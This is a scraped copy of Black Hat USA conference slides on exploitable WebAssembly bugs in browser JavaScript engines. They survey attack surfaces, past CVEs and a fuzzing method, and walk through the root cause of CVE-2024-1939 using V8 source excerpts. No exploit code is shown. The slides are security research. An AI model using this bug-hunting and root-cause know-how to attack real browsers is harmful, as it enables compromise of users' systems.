0% found this document useful (0 votes)
24 views106 pages

Exploiting - WASM Telegram - m@ThreatServer

The document discusses vulnerabilities in WebAssembly (WASM) execution within modern JavaScript engines, particularly focusing on bugs that can be exploited during the compilation and execution phases. It highlights various security researchers' contributions, outlines the workflow of WASM, and details specific vulnerabilities like type confusion and memory management issues. The authors emphasize the interaction between WASM and JavaScript, including both active and passive external interactions that can lead to exploitation.

Uploaded by

maxgappe12
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
24 views106 pages

Exploiting - WASM Telegram - m@ThreatServer

The document discusses vulnerabilities in WebAssembly (WASM) execution within modern JavaScript engines, particularly focusing on bugs that can be exploited during the compilation and execution phases. It highlights various security researchers' contributions, outlines the workflow of WASM, and details specific vulnerabilities like type confusion and memory management issues. The authors emphasize the interaction between WASM and JavaScript, including both active and passive external interactions that can lead to exploitation.

Uploaded by

maxgappe12
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 106

Achilles' Heel of JS Engines:

Exploiting Modern Browsers During


WASM Execution
Bohan Liu(@P4nda20371774)
Zong Cao(@p1umer)
Zheng Wang(@xmzyshypnc1)
Yeqi Fu(@q1iq)
#BHUSA @BlackHatEvents
Cen Zhang(@zhclhy)
About us

Bohan Liu Zong Cao


• @P4nda20371774 • @p1umer
• Security Researcher at Tencent • Graduate Master at University
Security Xuanwu Lab Chinese Academy of Sciences
• Mainly Engaged in Browser • AI + Bug Hunting
Security • Black Hat Asia/USA Speaker
• Google Chrome Bug Hunter

Zheng Wang Yeqi Fu


• @xmzyshypnc1 • @q1iq
• Security Researcher at Tencent • Phd student of National university of
Security Xuanwu Lab singapore.
• Mainly Engaged in Browser Security • Fuzzing and Static Analysis
and Kernel Security • Menmber of CURIOSITY,
• Found Several security bugs in supervised by zhenkai liang
Apple Safari, Linux kernel and
VirtualBox

#BHUSA @BlackHatEvents
Background

#BHUSA @BlackHatEvents
Introduction
ByteCode Execution
Exploited V8 Bugs in 2024

• More WASM exploitable bugs

Runtime Build
• Introduced in the past two years Runtime Build

• Some bug needn’t bypass V8 Sandbox

External Interaction

#BHUSA @BlackHatEvents
Bug History Recap
ByteCode Execution

• Compilation Issues
1. Edge Cases Oversights
Runtime Build Runtime Build
2. Binary Parsing
• Memory Management Issues
1. Side Effect in expanding
2. Integer Overflow
External Interaction

#BHUSA @BlackHatEvents
WASM Development Status
ByteCode Execution

• New proposals

Runtime Build Runtime Build


• More optimization

• More interaction between WASM


and JS
External Interaction

#BHUSA @BlackHatEvents
Exploitation difficulty
ByteCode Execution
JS vs Wasm

• More Check/Dcheck in Javascript

Runtime Build Runtime Build


• More harden patch for exploitation
techniques

External Interaction

#BHUSA @BlackHatEvents
Exploitation difficulty
ByteCode Execution
JS vs Wasm

• More Check/Dcheck in Javascript

Runtime Build Runtime Build


• More harden patch for exploitation
techniques

• More efficient fuzzers


External Interaction

#BHUSA @BlackHatEvents
Exploitation difficulty
ByteCode Execution
Compliation vs Execution

• Dynamic execution with real-time


information
Runtime Build

• Less Safety Check Code

• New spec simplifies runtime exploitation


External Interaction

#BHUSA @BlackHatEvents
Workflow And Attack Surfaces
in WASM

#BHUSA @BlackHatEvents
Workflow in WASM

const wasmBytes = new Uint8Array([0, 97, 115, 109, 1, 0, 0,


0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 7, 10, 1, 6,
97, 100, 100, 84, 119, 111, 0, 0, 10, 9, 1, 7, 0, 32, 0, 32,
1, 106, 11, 0, 10, 4, 110, 97, 109, 101, 2, 3, 1, 0, 0]);

module = new WebAssembly.Module(wasmBytes); //WebAssembly.compile

Compilation

instance = new WebAssembly.Instance(module,{}); Execution


Console.log(instance.exports.addTwo(1114, 223));

//Output: 1337

#BHUSA @BlackHatEvents
Workflow in WASM
The Compilation Phase

• Compile the Wasm Input into Machine Code or Optimized Code.

• Different Browser has its own WASM Compiler or Optimizer

: LLInt, BBQ, OMG

: Liftoff, Turbofan, Turboshaft

: Basline, Ion, Optimizing

• The bug hunting target we focused on before[*]

[*] https://blackhat.com/asia-23/briefings/schedule/#attacking-the-webassembly-compiler-of-webkit-30926
#BHUSA @BlackHatEvents
Workflow in WASM
The Execution Phase

#BHUSA @BlackHatEvents
Workflow in WASM
The Execution Phase

• Runtime Build

• ByteCode Execution

• External Interaction

Few Tested :) The MAIN bug hunting target this time!


#BHUSA @BlackHatEvents
Workflow in WASM
ByteCode Execution
The Execution Phase

• Runtime Build

Runtime Build
• ByteCode Execution Runtime Build

• External Interaction

External Interaction

#BHUSA @BlackHatEvents
Workflow in WASM
ByteCode Execution
The Execution Phase – Runtime Build

• Wasm Engine Initialization: Initialize WASM engine itself while


JavaScript engine initialing.
· Memory Wasm Engine Runtime
· GlobalObject Initialization Initialization

Runtime Build Runtime Build

• Runtime Initialization: Initialize the Runtime context of the certain


WASM instance
· Object : instance, memory, module, table…
· Call info : Add info that cannot be determined during the compilation
phase.(Number of variables, stack call depth)
· Call Frame : Initialize call frame layout.(Calling convention, ‘this’ pointer,
instance object)
External Interaction

• Tier-up: When switching to optimized code, build the appropriate


execution context.

#BHUSA @BlackHatEvents
Bugs in WASM
ByteCode Execution
Bugs in Runtime Build Process

• CVE-2024-2887: Type Confusion in WebAssembly. Reported by Manfred Paul, via CVE-2024-1938


Wasm Engine Runtime
Initialization Initialization Issue-268424
Pwn2Own[1] WasmGC
CVE-2022-32863
Runtime Build Runtime Build
CVE-2024-2887

• CVE-2022-32863: Use of Uninitialized in Safari. Reported by P1umer, afang,


xmzyshypnc[2] WasmEH

• CVE-2024-1938: Type Confusion in V8. Reported by Jerry [3] JIT

External Interaction
• Issue 268424: Stack Overflow in Safari [4] WasmEH JIT

[*] Related to WASM-specific structure


[1] https://issues.chromium.org/issues/330588502
[2] https://support.apple.com/en-hk/102893
[3] https://issues.chromium.org/issues/324596281
[4] https://bugs.webkit.org/show_bug.cgi?id=268424 #BHUSA @BlackHatEvents
Workflow in WASM
ByteCode Execution
The Execution Phase – Bytecode Exec
• Baseline compiler v.s Optimizing compiler [*]

Wasm Engine Runtime


Initialization Initialization

Runtime Build Runtime Build

Since 2018
External Interaction

Since 2014
[*] Take V8 as an example; the same applies to other WebAssembly engines. #BHUSA @BlackHatEvents
Workflow in WASM
ByteCode Execution
The Execution Phase – Bytecode Exec
• Baseline compiler v.s Optimizing compiler [*]

Wasm Engine Runtime


Initialization Initialization

Runtime Build Runtime Build

Since 2018
External Interaction
Tail Call GC

Exception

Since 2014 Handling

[*] Take V8 as an example; the same applies to other WebAssembly engines. #BHUSA @BlackHatEvents
Bugs in WASM
ByteCode Execution
Bugs in Bytecode Exec Process

• CVE-2023-4068: Type Confusion in V8. Reported by Jerry[1]


WasmGC Wasm Engine Runtime
Initialization Initialization
• CVE-2023-4070: Type Confusion in V8. Reported by Jerry[2] Runtime Build CVE-2023-4068
Runtime Build
WasmGC CVE-2023-4070

• ISSUE-1880719: OOB in SpiderMonkey. Reported by P1umer [3]


WasmGC

• ISSUE- 1882481 : OOB in SpiderMonkey. Reported by P1umer [4]


WasmGC
External Interaction

[*] Related to the implementation of new proposals


[1] https://issues.chromium.org/issues/40067712
[2] https://issues.chromium.org/issues/40067050
[3] https://bugzilla.mozilla.org/show_bug.cgi?id=1880719 #BHUSA @BlackHatEvents
[4] https://bugzilla.mozilla.org/show_bug.cgi?id=1882481
Workflow in WASM
ByteCode Execution
External Interaction

• Active External Interaction: refers to explicit interactions generated by


bytecode. [specifically bytecode designed to interact with the relevant JavaScript
environment] Wasm Engine Runtime
Initialization Initialization
· Import / Export / CallRef / Global / Table
Runtime Build Runtime Build

External Interaction

#BHUSA @BlackHatEvents
Workflow in WASM
ByteCode Execution
External Interaction

• Active External Interaction: refers to explicit interactions generated by


bytecode. [specifically bytecode designed to interact with the relevant JavaScript
environment] Wasm Engine Runtime
Initialization Initialization
· Import / Export / CallRef / Global / Table
Runtime Build Runtime Build

• Passive External Interaction: In contrast to active interaction, passive


interaction does not involve explicit inter-action upon the introduction of
bytecode
· Exception / Memory / WasmGC / Others

External Interaction

#BHUSA @BlackHatEvents
Workflow in WASM
Active External Interaction
Q: How WASM and JavaScript talk with each other?

#BHUSA @BlackHatEvents
Workflow in WASM
Active External Interaction
Q: How WASM and JavaScript talk with each other?

WASM JavaScript
WasmI32 WasmI64 Small Integer
(SMI)
WasmF32 WasmF64
JSObject
(Tagged)
WasmGC WasmStruct
WasmStructRef WasmArrayRef HeapNubmer
WasmExternRef WasmAnyRef …

WasmS128

Type used in WASM context Type used in JavsScript context

#BHUSA @BlackHatEvents
Workflow in WASM
Active External Interaction
Q: How WASM and JavaScript talk with each other?

WASM JavaScript
WasmI32 WasmI64 Small Integer
(SMI)
WasmF32 WasmF64
JSObject
(Tagged)
WasmGC WasmStruct
WasmStructRef WasmArrayRef HeapNubmer
WasmExternRef WasmAnyRef …

WasmS128

Type used in WASM context Type used in JavsScript context

The question between calling between WASM and JavaScript

#BHUSA @BlackHatEvents
https://hacks.mozilla.org/2019/08/webassembly-interface-types/
Workflow in WASM
Active External Interaction
Q: How WASM and JavaScript talk with each other?

WASM JavaScript
WasmI32 WasmI64 Small Integer
(SMI)
WasmF32 WasmF64
JSObject
(Tagged)
WasmGC WasmStruct
WasmStructRef WasmArrayRef HeapNubmer
WasmExternRef WasmAnyRef …

WasmS128

Type used in WASM context Type used in JavsScript context

The glue code between WASM and JavaScript

#BHUSA @BlackHatEvents
https://hacks.mozilla.org/2019/08/webassembly-interface-types/
Workflow in WASM
Active External Interaction
Q: How WASM and JavaScript talk with each other?

WASM WASM-To-JS JavaScript


WasmI32 WasmI64 Wrapper Small Integer
(SMI)
WasmF32 WasmF64
Call JS Function From WASM JSObject
(Tagged)
WasmGC WasmStruct
WasmStructRef WasmArrayRef HeapNubmer
WasmExternRef WasmAnyRef …
… JS-To-WASM
WasmS128 Wrapper

Call WASM Function From JS


Type used in WASM context Type used in JavsScript context

#BHUSA @BlackHatEvents
Workflow in WASM
WASM-To-JS Wrapper & JS-To-WASM Wrapper

1. Calling the wrapper rather than the real


WASM/JavaScript Function.

2. According to the API specification, convert the


parameters into the type required by the callee.

3. Fill the generated parameters and related information


into the callee‘s frame.

4. Jump to the actual called function.

#BHUSA @BlackHatEvents
http://www.dcs.fmph.uniba.sk/bakalarky/registracia/getfile_obhajoba.php/obhajoba_slajdy.pdf?id=427&fid=700&type=application%2Fpdf
Bugs in Active External Interaction
WASM-To-JS Wrapper & JS-To-WASM Wrapper
The Optimization of glue code

WASM WASM-To-JS JavaScript


WasmI32 WasmI64 Wrapper Small Integer
(SMI)
WasmF32 WasmF64
Call JS Function From WASM JSObject
(Tagged)
WasmGC WasmStruct
WasmStructRef WasmArrayRef HeapNubmer
WasmExternRef WasmAnyRef …
Optimized
… by WASM Optimized by JavaScript
JS-To-WASM
Optimizer Optimizer
WasmS128 Wrapper
And me?
Call WASM Function From JS
Type used in WASM context Type used in JavsScript context

#BHUSA @BlackHatEvents
Bugs in Active External Interaction
WASM-To-JS Wrapper & JS-To-WASM Wrapper
The Optimization of glue code

Generic WASM-to-JS WASM-To-JS wasm-inlining


…… Wrapper Faster JS-to-Wasm
……
Call JS Function From WASM
• CVE-2024-1938: Type Confusion in V8.
Reported by Jerry [2] JIT CVE-2023-4068: Type Confusion in V8.
Reported by Paolo Severini [1] JIT
• CVE-2024-1939: Type Confusion in V8.
Reported by Bohan Liu [3] JIT SIMD JS-To-WASM
Wrapper
• ISSUE- 251878: Type Confusion in
Webkit . SIMD
[4] Call WASM Function From JS

[1] https://issues.chromium.org/issues/40057950
[2] https://issues.chromium.org/issues/324596281
[3] https://issues.chromium.org/issues/323694592 #BHUSA @BlackHatEvents
[4] https://bugs.webkit.org/show_bug.cgi?id=251878
Workflow in WASM
Passive External Interaction

Although WASM is an independent module running in VM with isolated memory, it is still possible to interact with
JavaScript for various reasons.

• Exception [Wasm exception-handling]*

• Memory & Table

• Newly introduced objects [Wasm GC]+

[+] https://github.com/WebAssembly/exception-handling/blob/main/proposals/exception-handling/Exceptions.md
[*] https://github.com/WebAssembly/gc/blob/main/proposals/gc/Overview.md #BHUSA @BlackHatEvents
WebAssembly.instantiateStreaming(fetch("example.wasm"), importObject)

Workflow in WASM
.then((obj) => {
console.log(obj.instance.exports.run());
})
.catch((e) => {
console.error(e);
Passive External Interaction – Wasm EH // Check we have the right tag for the exception
// If so, use getArg() to inspect it
});

/* Log output
example.js:6 WebAssembly.Exception: wasm exception
*/

ISSUE-1877358: Use After Free in SPM. Reported by gkw-js-fuzzing [1]


Wasm EH

CVE-2022-3885: Use After Free in V8. Reported by gzobqq@ [2]


Wasm EH

(module
(import "js" "myFunction" (func $myFunction (param i32 i32) (result i32)))

(func $main (export "main") (param i32 i32) (result i32)


(try
(call $myFunction ;; Throw a Error in JS here
(local.get 0)
(local.get 1)
)
(catch
(return (i32.const 0))
)
)
)
[1] https://bugzilla.mozilla.org/show_bug.cgi?id=1877358 )
[2] https://issues.chromium.org/issues/40061453 #BHUSA @BlackHatEvents
Workflow in WASM
Passive External Interaction – Wasm Memory & Table

• Old Bugs in expanding Memory or Table

CVE-2017-5122: Out-of-bounds access in V8. Reported by Choongwoo Han


CVE-2017-15399: Use After Free in V8. Reported by Zhao Qixun(@S0rryMybad)

• New Bugs in expanding Memory or Table

CVE-2022-3885: Use After Free in V8. Reported by gzobqq@ [1] Chrome Wasm EH

Issue 41491234: Use After Free in V8. Reported by johnshoop [2] Wasm multi-
Chrome
memory

[1] https://bugs.chromium.org/p/chromium/issues/detail?id=1377816
[2] https://issues.chromium.org/issues/41491234 #BHUSA @BlackHatEvents
Workflow in WASM
Passive External Interaction – Wasm GC
Motivation: Efficient support for high-level languages; Provide access to industrial-strength GCs

Approach:
CVE-2024-4761: Out-of-bounds access in V8. Reported by
• linear memory [i32, i64, f32, f64] -> non-linear structure [WasmArray WasmStruct] Amonymous[1] WasmGC

Issue 339736513: Type Confusion in V8. Found by


• Heap types: any, none, noextern, nofunc, eq, struct, array … ClusterFuzz [2] WasmGC

• References: anyref, nullref, nullfuncref, eqref, arrayref, structreff …

More type conversions, More Ref Cast, More Function Signatures…

[1] https://issues.chromium.org/issues/339458194
[2] https://issues.chromium.org/issues/339736513 #BHUSA @BlackHatEvents
Attack Surface Summary

• Introduction of New Proposals

• Optimizations in Translators

• Development of New Optimizers

#BHUSA @BlackHatEvents
Bug Hunting Method
in WASM

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Original Wasm Generator
WASM

Wasm Generator Wasm Samples

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Wasm Generator Optimization
1) Enrich the wasm generator
WASM

Wasm Generator Wasm Samples


Enrich

Tail Call GC

Exception JS String
Handling Builtins

JS Object Usage

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Wasm Generator Optimization
1) Enrich the wasm generator Export:
2) Save random shared objects list Random
Shared
• Functions
Objects • Tables
List
• Memories
• Globals
Import:
• Globals
WASM

• Tables
• Memories
Wasm Generator Wasm Samples • Functions(Builtins
included)
Enrich

Tail Call GC

Exception JS String
Handling Builtins

JS Object Usage

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
JavaScript Generator Optimization
1) Transfer shared objects list to Js generator (Fuzzilli)
Random
Shared
Objects
List
WASM

JS
Wasm Generator Wasm Samples JS Generator Wasm+JS Samples
Enrich

Tail Call GC

Exception JS String
Handling Builtins

JS Object Usage

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
JavaScript Generator Optimization
1) Transfer shared objects list to Js generator (Fuzzilli)
2) Increase the shared objects Usage & Mutation Random
Shared
Objects
List
WASM

JS
Wasm Generator Wasm Samples JS Generator Wasm+JS Samples
Enrich Increase

Tail Call GC Shared Object


Usage
Exception JS String
Handling Builtins
Shared Object
Mutator
JS Object Usage

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Generator Optimization
1) Wasm Template: [JIT(inline/tierup/optimization), Exception]
2) Javascript Template: [JIT, Exception] Random
Shared
Objects
List
WASM

JS
Wasm Generator Wasm Samples JS Generator Wasm+JS Samples
Enrich Template Increase Template

Tail Call GC
JIT Shared Object JIT
Usage
Exception JS String Exception
Exception
Handling Builtins Throw
Throw Shared Object
JS Object Usage
Mutator …

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Fuzzing Loop

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Fuzzing Loop Raw Bytes

Code Coverage

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Fuzzing Loop Opt Raw Bytes

Bytes A Bytes B

Code Coverage

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Fuzzing Loop Opt

#BHUSA @BlackHatEvents
Bug Hunting Method in WASM
Fuzzing Loop Opt

Different Logs

Compile Error | Runtime Error

#BHUSA @BlackHatEvents
Bug Hunting Method
in WASM
Fuzzing Loop Opt Raw Bytes

Bytes A Bytes B

Code Coverage
Check
Stage

Runtime Log
#BHUSA @BlackHatEvents
Bug Hunting Method
in WASM
Fuzzing Loop Opt Raw Bytes

Bytes A Bytes B

Exploitable Bugs
Code Coverage
Check

Execution Samples
Stage

Runtime Log
#BHUSA @BlackHatEvents
Case Study and Exploitation
Tech
in WASM
Chromium

#BHUSA @BlackHatEvents
Background: JS-To-WASM & WASM-To-JS

WASM WASM-To-JS JavaScript


WasmI32 WasmI64 Wrapper Small Integer
(SMI)
WasmF32 WasmF64
Call JS Function From WASM JSObject
(Tagged)
WasmGC WasmStruct
WasmStructRef WasmArrayRef HeapNubmer
WasmExternRef WasmAnyRef …
… JS-To-WASM
WasmS128 Wrapper

Call WASM Function From JS


Type used in WASM context Type used in JavsScript context

When calling between different context, call wrapper rather than JS Function or WASM Function directly.

#BHUSA @BlackHatEvents
Background: Generic WASM-To-JS wrapper
Original WASM-To-JS Wrapper
wasm::WasmCompilationResult CompileWasmImportCallWrapper(
wasm::CompilationEnv* env, wasm::ImportCallKind kind,
const wasm::FunctionSig* sig, bool source_positions, int expected_arity,
• Compile the WASM-To-JS wrapper with Turbofan. wasm::Suspend suspend) {
//[...]
auto compile_with_turbofan = [&]() {
• WASM-To-JS Wrapper compiled when WASM module //[...]
SourcePositionTable* source_position_table =
created. source_positions ? zone.New<SourcePositionTable>(graph) : nullptr;

WasmWrapperGraphBuilder builder(&zone, mcgraph, sig, env->module,


• Not friendly to low-end devices that don't use Turbofan WasmGraphBuilder::kWasmApiFunctionRefMode,
nullptr, source_position_table,
optimizer.(Have to keep turbofan code in binary) StubCallMode::kCallWasmRuntimeStub,
env->enabled_features);
builder.BuildWasmToJSWrapper(kind, expected_arity, suspend, env->module);

// [...]
};
auto result = v8_flags.turboshaft_wasm_wrappers ? compile_with_turboshaft()
: compile_with_turbofan();
// [...]
return result;
}

https://docs.google.com/document/d/116DA2Ly_w9aZpBxDe_KYNJSt-AMkykhFIH2pBTSP0vc
#BHUSA @BlackHatEvents
Background: Generic WASM-To-JS wrapper
Generic WASM-To-JS Wrapper
// static
void WasmTrustedInstanceData::ImportWasmJSFunctionIntoTable(
Isolate* isolate, Handle<WasmTrustedInstanceData> trusted_instance_data,
• Compile the WASM-To-JS wrapper in Architecture-related int table_index, int entry_index, Handle<WasmJSFunction> js_function) {
//[...]
builtins. wasm::WasmImportWrapperCache* cache = native_module->import_wrapper_cache();
wasm::WasmCode* wasm_code =
cache->MaybeGet(kind, canonical_sig_index, expected_arity, suspend);
• WASM-To-JS Wrapper compiled when imported JS Function Address call_target;
if (wasm_code) {{// Generic WASM-To-JS Wrapper
called. call_target = wasm_code->instruction_start();
} else if (UseGenericWasmToJSWrapper(kind, sig, resolved.suspend())) {
call_target = isolate->builtins()
->code(Builtin::kWasmToJsWrapperAsm)
• It enables a no-TurboFan mode for which could reduce the ->instruction_start();
}else {// Original WASM-To-JS Wrapper
size of the V8 binary for low-end devices. wasm::CompilationEnv env = native_module->CreateCompilationEnv();
wasm::WasmCompilationResult result =
compiler::CompileWasmImportCallWrapper(&env, kind, sig, false,
expected_arity, suspend);
//[...]
}
}

https://docs.google.com/document/d/116DA2Ly_w9aZpBxDe_KYNJSt-AMkykhFIH2pBTSP0vc
#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
Root Cause
Handle<WasmInternalFunction>
WasmInstanceObject::GetOrCreateWasmInternalFunction(
The Bug was introduced in the patch fixing another bug related Isolate* isolate, Handle<WasmInstanceObject> instance, int function_index) {
to the feature `js-to-wasm wrapper inlining`. // [...]
if (v8_flags.wasm_to_js_generic_wrapper && IsWasmApiFunctionRef(*ref)) {
Handle<WasmApiFunctionRef> wafr = Handle<WasmApiFunctionRef>::cast(ref);
ref = isolate->factory()->NewWasmApiFunctionRef(
handle(wafr->callable(), isolate),
static_cast<wasm::Suspend>(wafr->suspend()),
handle(wafr->instance(), isolate), handle(wafr->sig(), isolate));
}

// [...]
auto result = isolate->factory()->NewWasmInternalFunction(
IsWasmApiFunctionRef(*ref) ? 0 : instance->GetCallTarget(function_index),
ref, rtt, function_index);

if (IsWasmApiFunctionRef(*ref)) {
Handle<WasmApiFunctionRef> wafr = Handle<WasmApiFunctionRef>::cast(ref);
WasmApiFunctionRef::SetInternalFunctionAsCallOrigin(wafr, result);
result->set_code(isolate->builtins()->code(Builtin::kWasmToJsWrapperAsm));
}
WasmInstanceObject::SetWasmInternalFunction(instance, function_index, result);
return result;
}

Check if the flag is enabled

#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
Root Cause
Handle<WasmInternalFunction>
WasmInstanceObject::GetOrCreateWasmInternalFunction(
The Bug was introduced in the patch fixing another bug related Isolate* isolate, Handle<WasmInstanceObject> instance, int function_index) {
to the feature `js-to-wasm wrapper inlining`. // [...]
if (v8_flags.wasm_to_js_generic_wrapper && IsWasmApiFunctionRef(*ref)) {
Handle<WasmApiFunctionRef> wafr = Handle<WasmApiFunctionRef>::cast(ref);
ref = isolate->factory()->NewWasmApiFunctionRef(
handle(wafr->callable(), isolate),
static_cast<wasm::Suspend>(wafr->suspend()),
handle(wafr->instance(), isolate), handle(wafr->sig(), isolate));
}

// [...]
auto result = isolate->factory()->NewWasmInternalFunction(
IsWasmApiFunctionRef(*ref) ? 0 : instance->GetCallTarget(function_index),
ref, rtt, function_index);

if (IsWasmApiFunctionRef(*ref)) {
Handle<WasmApiFunctionRef> wafr = Handle<WasmApiFunctionRef>::cast(ref);
WasmApiFunctionRef::SetInternalFunctionAsCallOrigin(wafr, result);
result->set_code(isolate->builtins()->code(Builtin::kWasmToJsWrapperAsm));
}
WasmInstanceObject::SetWasmInternalFunction(instance, function_index, result);
return result;
}

We can call WasmToJsWrapperAsm regardless of whether this feature is enabled,


Any assumptions will be broken?
#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939) void
//
Builtins::Generate_WasmToJsWrapperAsm(MacroAssembler* masm) {
Pop the return address into a scratch register and push it later again. The
// return address has to be on top of the stack after all registers have been
The Check in Runtime_WasmToJsWrapperAsm // pushed, so that the return instruction can find it.
__ popq(kScratchRegister);

int required_stack_space = arraysize(wasm::kFpParamRegisters) * kDoubleSize;


__ subq(rsp, Immediate(required_stack_space));
No check here. Compile it directly! for (int i = 0; i < static_cast<int>(arraysize(wasm::kFpParamRegisters));
++i) {
__ Movsd(MemOperand(rsp, i * kDoubleSize), wasm::kFpParamRegisters[i]);
}
// Push the GP registers in reverse order so that they are on the stack like
// in an array, with the first item being at the lowest address.
for (size_t i = arraysize(wasm::kGpParamRegisters) - 1; i > 0; --i) {
__ pushq(wasm::kGpParamRegisters[i]);
}
// Reserve fixed slots for the CSA wrapper.
// Two slots for stack-switching (central stack pointer and secondary stack
// limit):
static_assert(WasmImportWrapperFrameConstants::kCentralStackSPOffset ==
WasmImportWrapperFrameConstants::kWasmInstanceOffset -
kSystemPointerSize);
__ pushq(Immediate(kNullAddress));
static_assert(WasmImportWrapperFrameConstants::kSecondaryStackLimitOffset ==
WasmImportWrapperFrameConstants::kCentralStackSPOffset -
kSystemPointerSize);
__ pushq(Immediate(kNullAddress));
// One slot for the signature:
__ pushq(rax);
// Push the return address again.
__ pushq(kScratchRegister);
__ TailCallBuiltin(Builtin::kWasmToJsWrapperCSA);
}

#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939) void
//
Builtins::Generate_WasmToJsWrapperAsm(MacroAssembler* masm) {
Pop the return address into a scratch register and push it later again. The
// return address has to be on top of the stack after all registers have been
The Check in Runtime_WasmToJsWrapperAsm // pushed, so that the return instruction can find it.
__ popq(kScratchRegister);

int required_stack_space = arraysize(wasm::kFpParamRegisters) * kDoubleSize;


__ subq(rsp, Immediate(required_stack_space));
No check here. Compile it directly! for (int i = 0; i < static_cast<int>(arraysize(wasm::kFpParamRegisters));
++i) {
__ Movsd(MemOperand(rsp, i * kDoubleSize), wasm::kFpParamRegisters[i]);
}
// Push the GP registers in reverse order so that they are on the stack like
// in an array, with the first item being at the lowest address.
for (size_t i = arraysize(wasm::kGpParamRegisters) - 1; i > 0; --i) {
__ pushq(wasm::kGpParamRegisters[i]);
}
// Reserve fixed slots for the CSA wrapper.
How Generic WASM-To-JS Wrapper translate WASM // Two slots for stack-switching (central stack pointer and secondary stack
// limit):
variable into Javascript variable ? static_assert(WasmImportWrapperFrameConstants::kCentralStackSPOffset ==
WasmImportWrapperFrameConstants::kWasmInstanceOffset -
kSystemPointerSize);
__ pushq(Immediate(kNullAddress));
static_assert(WasmImportWrapperFrameConstants::kSecondaryStackLimitOffset ==
WasmImportWrapperFrameConstants::kCentralStackSPOffset -
kSystemPointerSize);
__ pushq(Immediate(kNullAddress));
// One slot for the signature:
__ pushq(rax);
// Push the return address again.
__ pushq(kScratchRegister);
__ TailCallBuiltin(Builtin::kWasmToJsWrapperCSA);
}

#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
Wasm Stack outParams
JSObect generation in WasmToJsWrapperCSA (FixedArray)
Param 2 Param 1
1) Allocate a FixedArray to store generated Param 3 Param 2
JSObject. Param 4 Translator Param 3
GP Section
Param 6 …
2) Take out the parameters in order Getter
Param 7 GetFP32Slot
GetGPSlot
3) Convert to JSobject according to the type Param 1 GetStackSlot
……
Param 5
4) Save to the FixedArray Param 8 FP Section
Converter
Param 9 WasmToJSObject
5) Call the real Imported Javascript Fuction with the I64ToBigInt
Param 10 I32PairToBigInt
FixedArray *RefCast<int32>
……
Param 11
Param 12
StackSloat Section
Param 13
……

#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
The broken assumption macro GetStackSlot(): &intptr {
if constexpr (Is64()) {
const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.nextStack);
this.nextStack += torque_internal::SizeOf<intptr>();
• Each time, 8 bytes or 4 bytes of length(according to return result;
} else {
Architecture Bits) are read sequentially from the stack as if (this.smallSlot != 0) {
variables. const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.smallSlot);
this.smallSlot = 0;
this.smallSlotLast = false;
return result;
}
const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.nextStack);
this.smallSlot = this.nextStack + torque_internal::SizeOf<intptr>();
this.nextStack = this.smallSlot + torque_internal::SizeOf<intptr>();
this.smallSlotLast = true;
return result;
}
}

#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
The broken assumption macro GetStackSlot(): &intptr {
if constexpr (Is64()) {
const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.nextStack);
this.nextStack += torque_internal::SizeOf<intptr>();
• Each time, 8 bytes or 4 bytes of length(according to return result;
} else {
Architecture Bits) are read sequentially from the stack as if (this.smallSlot != 0) {
variables. const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.smallSlot);
this.smallSlot = 0;
this.smallSlotLast = false;
return result;
}
const result = torque_internal::unsafe::NewReference<intptr>(
this.object, this.nextStack);
this.smallSlot = this.nextStack + torque_internal::SizeOf<intptr>();
Wait… How about S128bit in WASM? this.nextStack = this.smallSlot + torque_internal::SizeOf<intptr>();
this.smallSlotLast = true;
return result;
}
}

#BHUSA @BlackHatEvents
void LiftoffAssembler::Spill(int offset, LiftoffRegister reg, ValueKind

The Bug (CVE-2024-1939)


kind) {
RecordUsedSpillOffset(offset);
Operand dst = liftoff::GetStackSlot(offset);
switch (kind) {
The broken assumption // [...]
case kS128:
Movdqu(dst, reg.fp());
break;
default:
• Each time, 8 bytes or 4 bytes of length(according to UNREACHABLE();
Architecture Bits) are read sequentially from the stack as }
variables. }

Generic Wasm-to-JS wrapper CANNOT Cover the S128 case…

